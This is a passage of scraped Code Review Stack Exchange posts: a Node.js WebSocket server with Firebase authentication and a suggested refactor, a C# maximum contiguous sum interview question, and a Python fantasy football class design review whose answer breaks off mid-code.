"ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:54:38.747", "Id": "499783", "Score": "1", "body": "I would edit my answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:56:51.253", "Id": "499784", "Score": "0", "body": "Thanks very much! Greatly appreciate your help and expertise." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:05:56.440", "Id": "499785", "Score": "0", "body": "Check out the edit." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:16:12.387", "Id": "499786", "Score": "1", "body": "Thanks so much! I shall make the changes now. You've given me lots to do which will only help with my progress in learning C++ and OOP design. Many thanks!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:19:40.533", "Id": "499787", "Score": "0", "body": "Just a question, would you recommend me initialising the vector of ints in the constructor of the player?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:23:47.887", "Id": "499788", "Score": "1", "body": "The vector<int> is a genius solution! I did not think of this!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:32:16.227", "Id": "499789", "Score": "1", "body": "I made a slight mistake, a virtual base would not solve the problem rather a static data member would, pardon my error. Define the vector in the implementation file." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T07:48:50.000", "Id": "499804", "Score": "0", "body": "Your point about the game class is valid. But right now the project itself is tic-tac-toe. So having a `Game` as a name for a class is absolutely fine. Sure if you are going to end up adding multiple games to this project then you need to re-consider but right now its not an issue." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T07:55:28.297", "Id": "499806", "Score": "1", "body": "Actually, `string_view` is better here, compared to `string const&`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T07:57:19.117", "Id": "499807", "Score": "0", "body": "Why do you need a virtual destructor here?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T08:27:58.997", "Id": "499809", "Score": "0", "body": "Yeah `string_view` is much better. A virtual destructor like virtual method functions guarantees that the approriate destructor is called during object cleanup." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T09:27:01.013", "Id": "499814", "Score": "0", "body": "@theProgrammer I get it, but there isn't any requirement for a cleanup here, so what's the point" } ], "meta_data": { "CommentCount": "13", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:27:01.357", "Id": "253433", "ParentId": "253428", "Score": "2" } } ]
{ "AcceptedAnswerId": "253432", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T17:06:29.613", "Id": "253428", "Score": "3", "Tags": [ "c++11" ], "Title": "Tic Tac Toe (New OOP Design)" }
253428
<h2>Background info</h2> <p>To learn a new branch of my dev career, I've started a new project in my spare time (I've never used WebSockets before and I also want to learn more about common authentication flows). I want to run (deploy to Google's App Engine) this simple WebSocket server alongside my hybrid flutter firebase app. One of the features of the flutter app is that the authenticated users (Google Firebase Authentication for now) can stream real-time face detection data (facial expressions, head tilt angles, etc.) from their mobile phones (Firebase ML kit) to desktop (face-api.js) and vice versa. This data is then used to animate 2D characters (using Flare) which are covering and replacing the user's real face. I've chosen <code>ws</code> over <code>socket.io</code> because I'm not aware of any out of the box support for flutter and I think for my relatively simple use case the <code>ws</code> is sufficient.</p> <h2>Key features</h2> <ul> <li>an authenticated user is able to connect to the web socket through mobile or web app</li> <li>after a successful connection, the server creates a private room with the user's latest connected mobile and desktop device</li> <li>client messages are broadcasted <strong>to latest</strong> opened mobile and web app only</li> <li>an overwritten connection gets notified (user opens a new tab/app on another device)</li> </ul> <h2>Implementation</h2> <p><strong>Authenticated connection</strong></p> <p>I've started with the <a href="https://www.npmjs.com/package/ws#client-authentication" rel="nofollow noreferrer">suggested pattern</a> for client authentication inside the <code>ws</code> library and I've added my own auth logic.</p> <pre class="lang-js prettyprint-override"><code>// ... server.on('upgrade', async function upgrade(request, socket, head) { const webIdToken = request.headers['sec-websocket-protocol']; const mobileIdToken = request.headers['clientid']; const userConnectionType = webIdToken ? 'web' : 'mobile'; const idToken = webIdToken || mobileIdToken; if (!idToken) { socket.write('HTTP/1.1 400 Bad Request\r\n\r\n'); socket.destroy(); return; } try { const authenticatedUser = await admin.auth().verifyIdToken(idToken); wss.handleUpgrade(request, socket, head, function done(ws) { wss.emit('connection', ws, request, { authenticatedUser, userConnectionType }); }); } catch (error) { console.log(error); socket.write('HTTP/1.1 403 Invalid Token\r\n\r\n'); socket.destroy(); return; } }); wss.on('connection', function connection(ws, request, client) { // ... }); // ... </code></pre> <p>For the web app, I'm using the <code>Sec-WebSocket-Protocol</code> header (explained <a href="https://stackoverflow.com/questions/4361173/http-headers-in-websockets-client-api">here</a>) to send the <code>JWT</code> of the signed-in Firebase user. For mobile, I'm simply adding the token to the headers. This way I also know if the user is trying to connect from the web or the mobile app. I'm using <code>firebase-admin</code> to verify the token and then emit the <code>'connection'</code> event with the decoded token (<code>authenticatedUser</code>) and the user's connection type (<code>userConnectionType</code>).</p> <p><strong>Creating rooms</strong></p> <pre class="lang-js prettyprint-override"><code>// ... const privateRooms = new Map(); // ... wss.on('connection', function connection(ws, request, { authenticatedUser, userConnectionType }) { const userRoom = privateRooms.get(authenticatedUser.email); if (!userRoom) { const emptyRoom = { desktop: null, mobile: null }; emptyRoom[userConnectionType] = ws; privateRooms.set(authenticatedUser.email, emptyRoom); } else { const previousWs = userRoom[userConnectionType]; if (previousWs) { previousWs.send('This connection has been overwritten with a new one'); } userRoom[userConnectionType] = ws; privateRooms.set(authenticatedUser.email, userRoom); } }); </code></pre> <p>To store active rooms I'm using a JS <code>Map</code> with the user's email being the key of the map entry. On the user's first connection I'm creating a new room, which is a simple object containing the latest mobile and desktop WebSockets: <code>userRoom = { mobile: ws, desktop: ws}</code>. If the user's room already exists I simply overwrite the previous <code>ws</code> with a new connection and notify the previous <code>ws</code> connection.</p> <p><strong>Clearing rooms</strong></p> <pre class="lang-js prettyprint-override"><code>ws.on('close', function close() { const currentUserRoom = privateRooms.get(authenticatedUser.email); const isInRoom = (currentUserRoom[userConnectionType] === ws); if (!isInRoom) { return; } if (isInRoom &amp;&amp; (currentUserRoom.desktop == null || currentUserRoom.mobile == null)) { privateRooms.delete(authenticatedUser.email); return; } if (isInRoom) { currentUserRoom[userConnectionType] = null; privateRooms.set(authenticatedUser.email, currentUserRoom); } }); </code></pre> <p>After the user closes a connection, I'm checking if the <code>ws</code> is in the room and deleting the room from the map if there's only one remaining connection before delete. If both desktop and mobile are connected I simply set the <code>ws</code> to <code>null</code> again.</p> <p><strong>Broadcasting private messages</strong></p> <pre class="lang-js prettyprint-override"><code>ws.on('message', function incoming(clientMessage) { const currentUserRoom = privateRooms.get(authenticatedUser.email); wss.clients.forEach(function each(client) { const isClientInRoom = (currentUserRoom.desktop === client || currentUserRoom.mobile === client); if (isClientInRoom &amp;&amp; client.readyState == WebSocket.OPEN) { client.send(` Desktop connected: ${currentUserRoom.desktop != null} Mobile connected: ${currentUserRoom.mobile != null} Room: ${authenticatedUser.email} Message: ${clientMessage} `); } }); }); </code></pre> <p>To broadcast a private message I cycle through every client and send a message to ones that are found in the connected user's room.</p> <h2>Full code</h2> <pre class="lang-js prettyprint-override"><code>'use strict'; const http = require('http'); const WebSocket = require('ws'); const admin = require('firebase-admin'); const adminCredentials = require('./credentials.json'); const server = http.createServer(); const port = process.env.PORT || 3000; const privateRooms = new Map(); const wss = new WebSocket.Server({ noServer: true }); admin.initializeApp({ credential: admin.credential.cert({ projectId: adminCredentials['project_id'], clientEmail: adminCredentials['client_email'], privateKey: adminCredentials['private_key'] }) }); server.on('upgrade', async function upgrade(request, socket, head) { const webIdToken = request.headers['sec-websocket-protocol']; const mobileIdToken = request.headers['clientid']; const userConnectionType = webIdToken ? 'desktop' : 'mobile'; const idToken = webIdToken || mobileIdToken; if (!idToken) { socket.write('HTTP/1.1 400 Bad Request\r\n\r\n'); socket.destroy(); return; } try { const authenticatedUser = await admin.auth().verifyIdToken(idToken); wss.handleUpgrade(request, socket, head, function done(ws) { wss.emit('connection', ws, request, { authenticatedUser, userConnectionType }); }); } catch (error) { console.log(error); socket.write('HTTP/1.1 403 Invalid Token\r\n\r\n'); socket.destroy(); return; } }); wss.on('connection', function connection(ws, request, { authenticatedUser, userConnectionType }) { const userRoom = privateRooms.get(authenticatedUser.email); if (!userRoom) { const emptyRoom = { desktop: null, mobile: null }; emptyRoom[userConnectionType] = ws; privateRooms.set(authenticatedUser.email, emptyRoom); } else { const previousWs = userRoom[userConnectionType]; if (previousWs) { previousWs.send('This connection has been overwritten with a new one'); } userRoom[userConnectionType] = ws; privateRooms.set(authenticatedUser.email, userRoom); } ws.on('close', function close() { const currentUserRoom = privateRooms.get(authenticatedUser.email); const isInRoom = (currentUserRoom[userConnectionType] === ws); if (!isInRoom) { return; } if (isInRoom &amp;&amp; (currentUserRoom.desktop == null || currentUserRoom.mobile == null)) { privateRooms.delete(authenticatedUser.email); return; } if (isInRoom) { currentUserRoom[userConnectionType] = null; privateRooms.set(authenticatedUser.email, currentUserRoom); } }); ws.on('message', function incoming(clientMessage) { const currentUserRoom = privateRooms.get(authenticatedUser.email); wss.clients.forEach(function each(client) { const isClientInRoom = (currentUserRoom.desktop === client || currentUserRoom.mobile === client); if (isClientInRoom &amp;&amp; client.readyState == WebSocket.OPEN) { client.send(` Desktop connected: ${currentUserRoom.desktop != null} Mobile connected: ${currentUserRoom.mobile != null} Room: ${authenticatedUser.email} Message: ${clientMessage} `); } }); }); }); server.listen(port); console.log(`listening on ${port}`); </code></pre> <h2>Questions</h2> <p>Any improvements to the code are appreciated. I also have some specific questions regarding the code:</p> <ul> <li>Is the JS <code>Map</code> usage to represent all private <code>rooms</code> with the user's email being the key fine in this case?</li> <li>I'm using strings (<code>'desktop'</code> or <code>'mobile'</code>) to access the room object properties, is there a more elegant way to represent a <code>room</code> in this case?</li> </ul>
[]
[ { "body": "<p>The code you made is looking pretty good. I'm no expert in the particular tools you're using, but I'll still give my two cents about the parts I understand more.</p>\n<p>Let's start with your upgrade listener. I see that when authentication headers are missing, you're giving back a 400 invalid-request error. Would a 401 unauthorized error be more appropriate? (this status code is normally used when a request is missing authentication credentials)</p>\n<p>The logic in ws.on('message', ...) seems a little off to me. Why are we looping over all of the active connections in order to send a message to the two people in the private room, especially when we have a reference to the private room handy? Can't we just check if <code>currentUserRoom.desktop</code> and <code>currentUserRoom.mobile</code> exists, and if they do, send a message to them directly? From what I saw in the docs, those client instances that you're looping over are the exact same instances as what you're saving in currentUserRoom.dekstop/mobile.</p>\n<hr />\n<p>My main issue with this script is that the logic within it is not being categorized and grouped together in any way. You're not grouping logic together with functions or namespaces (i.e. objects or modules), unless you count the callbacks you're required to use. firebase-specific logic, websocket-specific logic, and the logic behind private room management is all intermixed.</p>\n<p>In your connection event handler, I would try to move out all the &quot;business logic&quot; related to managing rooms into its own file. This would make the logic behind private rooms more testable, flexable (you can easily add other ways for users to join a room besides websockets), and in general, makes the code more readable (it's much easier to understand that a private room is being created when you see &quot;createRoom()&quot; vs a list of room creating instructions like &quot;privateRooms.set(...)&quot;).</p>\n<p>Here's an example of what a file of just the business logic might look like</p>\n<p>privateRooms.js</p>\n<pre><code>'use strict';\n\nexports.initPrivateRooms = function () {\n const privateRooms = new Map();\n return {\n getOrCreateRoom(roomId) {\n if (!privateRooms.has(roomId)) {\n privateRooms.set(roomId, createRoom(roomId));\n }\n return privateRooms.get(roomId);\n },\n removeRoom(roomId) {\n privateRooms.delete(roomId);\n },\n };\n};\n\nfunction createRoom(id) {\n const deviceConnections = {};\n return Object.freeze({\n id,\n hasDeviceType(deviceType) {\n return !!deviceConnections[deviceType];\n },\n messageMembers(msg) {\n for (const connection of Object.values(deviceConnections)) {\n connection.onMessaged(msg);\n }\n },\n join(deviceType, eventListeners = {}) {\n const { onMessaged = () =&gt; {}, onKickedOut = () =&gt; {} } = eventListeners;\n\n if (deviceConnections[deviceType] != null) {\n deviceConnections[deviceType].onKickedOut();\n }\n deviceConnections[deviceType] = { onMessaged, onKickedOut };\n },\n leave(deviceType) {\n delete deviceConnections[deviceType];\n },\n isEmpty() {\n return Object.values(deviceConnections).length === 0;\n },\n });\n}\n\nexports.DEVICE_TYPE = {\n desktop: 'DESKTOP',\n mobile: 'MOBILE',\n};\n</code></pre>\n<p>And here's what your script might look like once it's using it (I haven't tested these changes, but this should give you an idea of how it gets used):</p>\n<pre><code>// ...\n\nconst { initPrivateRooms, DEVICE_TYPE } = require('./privateRoom');\nconst privateRooms = initPrivateRooms();\n\n// ...\n\nwss.on('connection', function connection(ws, request, { authenticatedUser, userConnectionType }) {\n const room = privateRooms.getOrCreateRoom(authenticatedUser.email);\n\n room.join(userConnectionType, {\n onKickedOut() {\n ws.send('This connection has been overwritten with a new one');\n },\n onMessaged(msg) {\n if (ws.readyState === WebSocket.OPEN) {\n ws.send(msg);\n }\n },\n });\n\n ws.on('close', function close() {\n room.leave(userConnectionType);\n if (room.isEmpty()) {\n privateRooms.removeRoom(room.id);\n }\n });\n\n ws.on('message', function incoming(clientMessage) {\n room.messageMembers(buildMessage(room, clientMessage));\n });\n});\n\nfunction buildMessage(room, clientMessage) {\n return `\nDesktop connected: ${room.hasDeviceType(DEVICE_TYPE.desktop)} \nMobile connected: ${room.hasDeviceType(DEVICE_TYPE.mobile)}\nroom: ${room.id} \nMessage: ${clientMessage}\n`;\n}\n\nserver.listen(port);\nconsole.log(`listening on ${port}`);\n</code></pre>\n<p>You might create some other functions to aid in other areas of your script too. For example, in your upgrade event handler you could use a custom parseHeaders() function, or maybe an authenticate() function that handle some of the specific implementation details for the event listener.</p>\n<p>Now, to address some of your questions:</p>\n<ul>\n<li>Your usage of the javascript map was perfectly valid there, and is exactly the kind of thing it's designed to do. In the revised example I had above I decided to move the map into a factory function because I found that felt cleaner in that particular scenario.</li>\n<li>Using strings like 'desktop' and 'mobile' to represent different states in javascript is just fine - in fact, it's a commonly used pattern when working with some frameworks or libraries (like redux). When you're making a more well-defined public-facing API, you might prefer placing the different possible strings into an object (as I decided to do in privateRooms.js). Doing so can help self-document what possible values your functions can take, and can aid the code editor with auto-complete.</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-27T08:00:19.133", "Id": "253947", "ParentId": "253434", "Score": "1" } } ]
{ "AcceptedAnswerId": "253947", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:34:27.673", "Id": "253434", "Score": "1", "Tags": [ "javascript", "node.js", "authentication", "firebase", "websocket" ], "Title": "Private desktop and mobile WebSocket connections with Node.js" }
253434
<p>I received an interview question: Find the largest contiguous sum of two or more integers in an array of positive or negative integers.</p> <p>I wrote a brute force solution, which is slow at O(n^2). Is there a faster solution? Sorry in advance if this question was already asked. I couldn't find an answer that accounts for the sum being at least 2 integers, and having negative numbers.</p> <pre><code>static int maxSum(int[] nums, int minArrayLen = 1) { int maxSum = Int32.MinValue; int curSum = 0; for (int i = 0; i &lt; nums.Length; i++) { curSum = nums[i]; for (int j = i + 1; j &lt; nums.Length; j++) { curSum += nums[j]; maxSum = Math.Max(curSum, maxSum); } } return maxSum; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T23:11:18.947", "Id": "499791", "Score": "0", "body": "You don't seem to use the variable `minArrayLen ` in the function, that could be bad in an interview." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T23:25:39.970", "Id": "499793", "Score": "0", "body": "@pacmaninbw you are right. My original code had a bunch more comments and an exception checker at the beginning. I removed those to make the code more readable for this post, but I forgot to remove the optional param." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:39:12.183", "Id": "499795", "Score": "0", "body": "@drspaceman0 Actually, posting code in a question on Code Review is a little different than doing so on Stack Overflow. Here, you should _not_ try to remove parts of the code because that prevents answerers from providing accurate reviews. You might even get feedback on your code comments, so you should probably not remove those as well." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T12:49:22.483", "Id": "499820", "Score": "1", "body": "As @41686d6564 mentioned you should post the entire function. There are some very experienced code readers here." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T19:42:58.390", "Id": "499915", "Score": "1", "body": "p.s. \"contiguous sum\" could be interpreted a number of ways. Do you have the original wording of the problem to post? If not, can you go into more detail on the problem definition?" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T21:54:08.313", "Id": "253435", "Score": "2", "Tags": [ "c#", "interview-questions" ], "Title": "Find the largest contiguous sum of two or more integers in an array of positive or negative integers?" }
253435
<p>My program represents a basic model of a player in Fantasy Football with players playing in different positions and having different scoring systems for the actions on the pitch.</p> <p>A particular usage is a table with players and their values per price which provides some suggestions about who to pick into the team.</p> <p>I would like to get feedback about my design choice to represent a player as a class and the way I used Python class model for doing that, particularly usage of inheritance.</p> <p>I'm also wondering whether representing the scoring system as class level attributes for every position is the common way of doing things.</p> <p>The code:</p> <pre><code>&quot;&quot;&quot;Basic modelling of a player in Fantasy Football via classes with inheritance.&quot;&quot;&quot; class Player(): &quot;&quot;&quot;Base class representing a player in Fantasy Football.&quot;&quot;&quot; assist = 3 pos_impact = 1 neg_impact = -1 yellow_card = -1 made_start = 1 played_60minutes = 1 def __init__(self, name='', price=-1, club=''): &quot;&quot;&quot;Initialises a player with some shared properties.&quot;&quot;&quot; self.name = name self.price = price self.club = club self.assist = 0 self.pos_impact = 0 self.neg_impact = 0 self.yellow_card = 0 self.made_start = 1 self.played_60minutes = 0.95 def calculate_points(self): &quot;&quot;&quot;Calculates points for properties shared by all the players.&quot;&quot;&quot; total_points = 0 total_points += self.assist * Player.assist total_points += self.pos_impact * Player.pos_impact + self.neg_impact * Player.neg_impact total_points += self.yellow_card * Player.yellow_card total_points += self.made_start * Player.made_start return total_points def calculate_value_per_price(self): &quot;&quot;&quot;Calculates how many points a player earns per price.&quot;&quot;&quot; total_points = self.calculate_points() return total_points / self.price class Goalkeeper(Player): &quot;&quot;&quot;Class representing a goalkeeper in fantasy football.&quot;&quot;&quot; goal = 8 clean_sheet = 4 save = 0.5 two_or_more_conceded = -1 def __init__(self, name='', price=-1, club=''): &quot;&quot;&quot;Initialises a goalkeeper.&quot;&quot;&quot; super().__init__(name, price, club) self.goal = 0 self.clean_sheet = 0 self.save = 0 self.two_or_more_conceded = 0 def calculate_points(self): &quot;&quot;&quot;Calculates points for a goalkeeper.&quot;&quot;&quot; total_points = super().calculate_points() total_points += self.goal * Goalkeeper.goal total_points += self.clean_sheet * Goalkeeper.clean_sheet total_points += self.save * Goalkeeper.save total_points += self.two_or_more_conceded * Goalkeeper.two_or_more_conceded return total_points class Defender(Player): &quot;&quot;&quot;Class representing a defender in fantasy football.&quot;&quot;&quot; goal = 6 clean_sheet = 4 two_or_more_conceded = -1 def __init__(self, name='', price=-1, club=''): &quot;&quot;&quot;Initialises a defender.&quot;&quot;&quot; super().__init__(name, price, club) self.goal = 0 self.clean_sheet = 0 self.two_or_more_conceded = 0 def calculate_points(self): &quot;&quot;&quot;Calculates points for a defender.&quot;&quot;&quot; total_points = super().calculate_points() total_points += self.goal * Defender.goal total_points += self.clean_sheet * Defender.clean_sheet total_points += self.two_or_more_conceded * Defender.two_or_more_conceded return total_points class Midfielder(Player): &quot;&quot;&quot;Class representing a midfielder in fantasy football.&quot;&quot;&quot; goal = 5 clean_sheet = 1 played_90minutes = 1 def __init__(self, name='', price=-1, club=''): &quot;&quot;&quot;Initialises a midfielder.&quot;&quot;&quot; super().__init__(name, price, club) self.goal = 0 self.clean_sheet = 0 self.played_90minutes = 0 def calculate_points(self): &quot;&quot;&quot;Calculates points for a midfielder.&quot;&quot;&quot; total_points = super().calculate_points() total_points += self.goal * Midfielder.goal total_points += self.clean_sheet * Midfielder.clean_sheet total_points += self.played_90minutes * Midfielder.played_90minutes return total_points class Forward(Player): &quot;&quot;&quot;Class representing a forward in fantasy football.&quot;&quot;&quot; goal = 4 played_90minutes = 1 def __init__(self, name='', price=-1, club=''): &quot;&quot;&quot;Initialises a forward.&quot;&quot;&quot; super().__init__(name, price, club) self.goal = 0 self.played_90minutes = 0 def calculate_points(self): &quot;&quot;&quot;Calculates points for a forward.&quot;&quot;&quot; total_points = super().calculate_points() total_points += self.goal * Forward.goal total_points += self.played_90minutes * Forward.played_90minutes return total_points def compare_players(players): &quot;&quot;&quot;Compares players by value per price.&quot;&quot;&quot; print_players_comparison(calculate_players_comparison(players)) def calculate_players_comparison(players): &quot;&quot;&quot; Creates a table with players properties; Sorted by value per price in descending order. &quot;&quot;&quot; players_stats = [] for player in players: player_stats = {} player_stats['name'] = player.name player_stats['club'] = player.club player_stats['points'] = player.calculate_points() player_stats['price'] = player.price player_stats['value_per_price'] = player.calculate_value_per_price() players_stats.append(player_stats) return sorted(players_stats, key=lambda x: x['value_per_price'], reverse=True) def print_players_comparison(players_stats): &quot;&quot;&quot;Prints players comparison.&quot;&quot;&quot; print(f'{&quot;Name&quot;:&lt;16} {&quot;Club&quot;:&lt;16} {&quot;Points&quot;:&lt;10} {&quot;Price&quot;:&lt;10} {&quot;Value per price&quot;:&lt;10}') print('='*72) for player in players_stats: print(f'{player[&quot;name&quot;]:&lt;16} {player[&quot;club&quot;]:&lt;16} {player[&quot;points&quot;]:&lt;10.2f} {player[&quot;price&quot;]:&lt;10.2f} {player[&quot;value_per_price&quot;]:&lt;10.2f}') if __name__ == '__main__': ederson = Goalkeeper(name='Ederson', price=11.5, club='Man City') reguilon = Defender(name='Sergio Reguilon', price=8.8, club='Tottenham') grealish = Midfielder(name='Jack Grealish', price=9.2, club='Aston Villa') maupay = Forward(name='Neal Maupay', price=7.6, club='Brighton') ederson.pos_impact = 0.65 ederson.neg_impact = 0.20 ederson.yellow_card = 0.05 ederson.clean_sheet = 0.40 ederson.save = 3 ederson.two_or_more_conceded = 0.29 reguilon.pos_impact = 0.52 reguilon.neg_impact = 0.26 reguilon.yellow_card = 0.10 reguilon.assist = 0.08 reguilon.goal = 0.03 reguilon.clean_sheet = 0.36 reguilon.two_or_more_conceded = 0.32 grealish.pos_impact = 0.42 grealish.neg_impact = 0.33 grealish.yellow_card = 0.07 grealish.played_90minutes = 0.80 grealish.assist = 0.30 grealish.goal = 0.35 grealish.clean_sheet = 0.25 maupay.pos_impact = 0.18 maupay.neg_impact = 0.49 maupay.yellow_card = 0.05 maupay.played_90minutes = 0.65 maupay.assist = 0.12 maupay.goal = 0.26 players = [ederson, reguilon, grealish, maupay] compare_players(players) </code></pre>
[]
[ { "body": "<p>First thing that comes to mind is, that you should consider looking into @dataclass decorator. I've never used it with inheritance, but I expect it can work and that would remove like 60% of your code, making it a lot cleaner :-)</p>\n<p>I don't like those <code>-1</code> initial values, that you reset in constructor anyway. If anything set them to <code>None</code>, so that at least code fails if it's unset rather than calculates with <code>-1</code>, I don't expect you'd want that.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:41:58.973", "Id": "499796", "Score": "0", "body": "Could you provide an example of using `@dataclass`? I use `-1` initial value so that it would not blow up when calculating derived attributes in case the proper value wasn't provided when creating an object, which would do should you use None instead." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:47:43.570", "Id": "499797", "Score": "0", "body": "Why is that desired? When proper value wasn't provided, is object even valid? I'd expect not and in that case you want it to crash immediately rather than having incorrect results later. As per dataclass, probably decorating your classes and removing init methods should do the trick. Also then you can pass all data into constructor rather than setting after object was created." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:53:22.977", "Id": "499799", "Score": "0", "body": "In my case the value isn't provided at all, rather than proper value isn't provided. It is still valid to calculate player's points, which is useful. Anyways, in the very basic version it doesn't matter because the possible use cases are not known in advance. As far as `dataclass` is concerned: how you tried doing it? Since I haven't uesd this feature, it is not clear how to do that from the description above." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T00:38:04.130", "Id": "253438", "ParentId": "253437", "Score": "0" } }, { "body": "<h2>Efficiency of multiplication</h2>\n<p>For low-throughput tasks - calling <code>calculate_points</code> ten or even one hundred times a second - what you have is fine. If you want to run high-throughput simulations (for instance), this:</p>\n<pre><code>assist = 3\npos_impact = 1\nneg_impact = -1\nyellow_card = -1\nmade_start = 1\nplayed_60minutes = 1\n# ...\n\n total_points = 0\n total_points += self.assist * Player.assist\n total_points += self.pos_impact * Player.pos_impact + self.neg_impact * Player.neg_impact\n total_points += self.yellow_card * Player.yellow_card\n total_points += self.made_start * Player.made_start\n</code></pre>\n<p>is well-modelled by a vector dot-product, which you can easily do via Numpy.</p>\n<p>Even if you don't use Numpy, consider using a <code>namedtuple</code>:</p>\n<pre><code>Weights = namedtuple('Weights', (\n 'assist', \n 'pos_impact',\n 'neg_impact',\n 'yellow_card',\n 'made_start',\n 'played_60minutes',\n))\n\ncoefficients = Weights(3, 1, -1, -1, 1, 1)\n\n# ...\n\ntotal_points = sum(c*w for c, w in zip(coefficients, self.weights))\n</code></pre>\n<p>It seems that your <code>calculate_points</code> forgot to use <code>played_60minutes</code>; I don't know whether that was deliberate.</p>\n<p>The same approach can be followed for <code>Goalkeeper</code>, etc.</p>\n<h2>Early serialization</h2>\n<p>You should rethink <code>calculate_players_comparison</code> and <code>print_players_comparison</code>. There is no reason to store this as a dictionary. Instead, consider</p>\n<ul>\n<li>Making a secondary <code>@dataclass class ComparisonData</code> with typed fields of <code>name: str</code>, <code>points: float</code>, etc.</li>\n<li>Including a <code>@staticmethod def print_header()</code></li>\n<li>Including a <code>def print(self)</code></li>\n<li>Returning an <code>Iterable[ComparisonData]</code> from <code>calculate_players_comparison</code></li>\n<li>Having <code>print_players_comparison</code> call into <code>print_header()</code> and then <code>print()</code> for each row from <code>calculate_players_comparison</code></li>\n</ul>\n<h2>Suggested</h2>\n<p>You could get very fancy with a metaclass that auto-defines a tuple based on keyword-only arguments; something like:</p>\n<pre><code>class WeightedMeta(type):\n def __new__(mcs, name: str, bases: tuple, attrs: dict):\n sig = inspect.signature(attrs['__init__'])\n params = [p for p in sig.parameters.values()\n if p.kind is p.KEYWORD_ONLY]\n names = [p.name for p in params]\n defaults = [p.default for p in params if p.default is not p.empty]\n point_type = namedtuple('point_type', names, defaults=defaults)\n names = set(names)\n old_init = attrs['__init__']\n\n def new_init(self, *args, **kwargs):\n self.points = point_type(**{\n k: v for k, v in kwargs.items()\n if k in names\n })\n old_init(self, *args, **kwargs)\n\n attrs.update(point_type=point_type, __init__=new_init)\n cls = super().__new__(mcs, name, bases, attrs)\n weights = cls.get_weights()\n\n @property\n def total_points(self) -&gt; float:\n &quot;&quot;&quot;Calculates points for properties shared by all the players.&quot;&quot;&quot;\n return sum(w*p for w, p in zip(weights, self.points))\n\n cls.total_points = total_points\n return cls\n</code></pre>\n<p>But that's a little much, and it doesn't handle derivation well. An easier way to approach this is</p>\n<pre><code>&quot;&quot;&quot;\nBasic modelling of a player in Fantasy Football via classes with inheritance.\n&quot;&quot;&quot;\nfrom dataclasses import dataclass, astuple, asdict\nfrom sys import stdout\nfrom typing import TextIO, Iterable\n\n\nclass Player:\n &quot;&quot;&quot;Base class representing a player in Fantasy Football.&quot;&quot;&quot;\n\n @dataclass\n class Points:\n assist: float = 0\n pos_impact: float = 0\n neg_impact: float = 0\n yellow_card: float = 0\n made_start: float = 1\n played_60minutes: float = 0.95\n\n weights = Points(\n assist=3,\n pos_impact=1,\n neg_impact=-1,\n yellow_card=-1,\n made_start=1,\n played_60minutes=1,\n )\n\n def __init__(\n self,\n name: str,\n price: float,\n club: str,\n points: Points\n ):\n self.name, self.price, self.club, self.points = name, price, club, points\n\n @property\n def total_points(self) -&gt; float:\n return sum(\n w*p\n for w, p in zip(astuple(self.weights), astuple(self.points))\n )\n\n @property\n def value_per_price(self) -&gt; float:\n &quot;&quot;&quot;Calculates how many points a player earns per price.&quot;&quot;&quot;\n return self.total_points / self.price\n\n def __str__(self):\n return self.name\n\n @staticmethod\n def print_table(players: Iterable['Player'], f: TextIO = stdout):\n print(\n '=' * 72 + '\\n' +\n f'{&quot;Name&quot;:&lt;16} {&quot;Club&quot;:&lt;16} {&quot;Points&quot;:&gt;6} '\n f'{&quot;Price&quot;:&gt;10} {&quot;Value per price&quot;:&gt;15}',\n file=f,\n )\n for player in sorted(players, key=lambda p: p.value_per_price, reverse=True):\n player.print_row(f)\n\n def print_row(self, f: TextIO = stdout):\n &quot;&quot;&quot;Prints players comparison.&quot;&quot;&quot;\n print(\n f'{self.name:&lt;16} {self.club:&lt;16} {self.total_points:&gt;6.2f} '\n f'{self.price:&gt;10.2f} {self.value_per_price:&gt;15.2f}',\n file=f,\n )\n\n\nclass Goalkeeper(Player):\n @dataclass\n class Points(Player.Points):\n goal: float = 0\n clean_sheet: float = 0\n save: float = 0\n two_or_more_conceded: float = 0\n\n weights = Points(\n goal=8,\n clean_sheet=4,\n save=0.5,\n two_or_more_conceded=-1,\n **asdict(Player.weights),\n )\n\n\nclass Defender(Player):\n @dataclass\n class Points(Player.Points):\n goal: float = 0\n clean_sheet: float = 0\n two_or_more_conceded: float = 0\n\n weights = Points(\n goal=6,\n clean_sheet=4,\n two_or_more_conceded=-1,\n **asdict(Player.weights),\n )\n\n\nclass Midfielder(Player):\n @dataclass\n class Points(Player.Points):\n goal: float = 0\n clean_sheet: float = 0\n played_90minutes: float = 0\n\n weights = Points(\n 